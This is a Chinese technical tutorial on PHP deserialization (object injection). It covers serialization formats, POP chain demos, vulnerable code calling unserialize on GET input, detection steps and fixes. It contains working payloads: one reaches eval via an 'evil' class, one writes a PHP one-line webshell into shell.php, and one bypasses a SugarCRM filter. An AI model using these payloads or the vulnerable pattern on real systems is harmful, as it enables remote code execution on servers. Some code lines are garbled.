【技术分享】PHP反序列化漏洞
序列化给我们传递对象提供了一种简单的方法serialize()将一个对象转换成一个字符串unserialize()将字符串还原为一个对象。此类函数的使用本身没有危害,但是传入反序列化函数的字符串用户可控的时候就会存在漏洞——PHP对象注入
POP链
不同数据类型的序列化
可以用来反序列化已被序列化的PHP变量
支持多种类型的PHP变量
integers / floats / boolean
strings / array / objects
等...
b:;
b:1; // True
b:0; // False
i:;
i:1; // 1
i:-3; // -3
O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}
NULL
N; //NULL
string
s:5:"hello";
s:size:value;
a:3:{s"key1";s"value1";s"value2";}
a:size:{key, value pairs};
POP链demo
<?php
class popdemo
{
private $data = "demo\n"; # 文件内容
private $filename = './demo'; # 目标文件
public function __wakeup() # 反序列化时触发
{
$this->save($this->filename);
}
public function save($filename) #写文件
{
file_put_contents($filename, $this->data);
}
}
<?php
require "./popdemo.php";
$demo = new popdemo();
file_put_contents('./pop_serialized.txt', serialize($demo));
pop_unserialize.php
<?php
require "./popdemo.php";
unserialize(file_get_contents('./pop_serialized.txt'));
POP demo2
<?php
class blbana {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "hello";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}
unserialize($_GET['d']);
blbana这个类正常情况下,会在构造方法中实例化一个normal
类的对象,在析构方法中会调用此对象的action
方法,最终打印hello字符串,不存在敏感的操作
<?php
class blbana {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data = "phpinfo();";
}
echo urlencode(serialize(new blbana()));
echo "\n\r";%
O%3A6%3A%22blbana%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
漏洞代码
漏洞利用条件
程序中有一个PHP的魔术方法,比如_wakeup或者_destruct,我们需要利用这个方法,来进行攻击;
程序中含有PHP反序列化的函数
unserialize()
unserialize()
参数可控,可以控制传入函数中的序列化字符串
exp内容
漏洞利用
我们先通过上传之类的方法,将这个exp.txt上传到服务器当中,通过代码我们可以看出来,最后程序会将文件中的内容通过file_get_contents()函数读取出来,在程序执行完毕的时候,由于_destruct方法触发了代码执行。
漏洞分析
O:3:"foo":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:4:"<?php @eval($_GET['BlBana'])?>";}
通过这个exp,我们在shell.php写入的便是一句话。
foo Object ( [file] => 2.txt [data] => text )
foo Object ( [file] => shell.php [data] => aaaa )
使得我们传入的恶意内容覆盖了原先对象初始值
O:3:"foo":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:4:"aaaa";}
O:3:"foo":2:{s:4:"file";s:5:"2.txt";s:4:"data";s:4:"text";}
具体的序列化后的字符串如上所示。
2. 当对象没有指向时,对象被销毁
$p = new foo();
$p = null;
3. 使用unset变量销毁指向对象的变量,注意的是unset销毁的是指向对象的变量,而不是对象,只有指向同一个对象的所有变量都销毁的时候,析构函数才执行。也就是说当对象被销毁时,析构函数就会被调用。
反序列化漏洞挖掘
利用文本搜索工具,在目标代码中搜索,**__wakeup,__destruct**这类魔术方法
跟踪方法,看魔术方法中是否存在一些可以利用的地方,找到可以利用的POP组件
根据类的结构定义构建序列化字符串Poc
漏洞修复
对于传入
unserialize()
函数中的字符串,进行过滤,防止对象注入避免在魔术方法中使用敏感的操作
避免存在敏感操作的普通方法和魔术方法中调用方法同名,从而被攻击者劫持代码流程,造成危害
SugarCRM v6.5.23 --> v6.5.24 修复方法
function sugar_unserialize($value)
{
6.5.23:preg_match('/[oc]:\d+:/i', $value, $matches); # O:+14:"SugarCacheFile"绕过
6.5.24:preg_mat ch('/[oc]:[^:]*\d+:/i', $value, $matches);
if (count($matches)) {
return false;
}
return unserialize($value);
}